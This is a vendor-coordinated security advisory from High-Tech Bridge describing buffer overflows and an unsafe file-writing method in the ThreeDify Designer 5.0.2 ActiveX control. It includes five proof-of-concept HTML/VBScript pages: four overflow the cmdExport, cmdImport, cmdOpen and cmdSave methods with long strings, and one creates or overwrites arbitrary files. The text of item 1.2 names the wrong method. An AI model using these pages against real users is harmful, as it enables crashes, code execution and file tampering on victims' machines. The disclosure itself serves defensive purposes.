Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

Multiple Vulnerabilities in ThreeDify Designer ActiveX Control

Advisory ID:HTB23020
Product:ThreeDify Designer
Vendor:ThreeDify
Vulnerable Versions:5.0.2 and probably prior
Tested Version:5.0.2
Advisory Publication:June 7, 2011 [without technical details]
Vendor Notification:June 7, 2011
Public Disclosure:July 30, 2011
Latest Update:July 18, 2011
Vulnerability Type:Buffer Errors [CWE-119]
Exposed Unsafe ActiveX Method [CWE-618]
Risk Level:Critical
CVSSv2 Base Scores:10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ThreeDify Designer ActiveX Control which could be exploited to compromise vulnerable system.

1) Buffer overflow vulnerabilities in ThreeDify Designer ActiveX Control
1.1 Boundary error exists in the "cmdExport()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdExport arg1
</script>
</body>
</html>


1.2 Boundary error exists in the "cmdExport()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdImport arg1
</script>
</body>
</html>


1.3 Boundary error exists in the "cmdOpen()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdOpen arg1
</script>
</body>
</html>


1.4 Boundary error exists in the "cmdSave()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdSave arg1
</script>
</body>
</html>


2) Insecure method in ThreeDify Designer ActiveX Control
The vulnerability exists due to usage of insecure method "cmdSave()" in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control. A remote attacker can trick user into visiting a specially crafted webpage and create or overwrite arbitrary files on the target system with privileges of the current user.
Exploitation example:
<html>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create_or_to_overwrite"
target.cmdSave arg1
End Sub
</script>
</html>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23020 - https://www.htbridge.com/advisory/HTB23020 - Multiple Vulnerabilities in ThreeDify Designer ActiveX Control
[2] ThreeDify Designer - threedify.com - ThreeDify Designer is a fast, intuitive and lightweight 3D modelling, viewing and assembly design tool.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.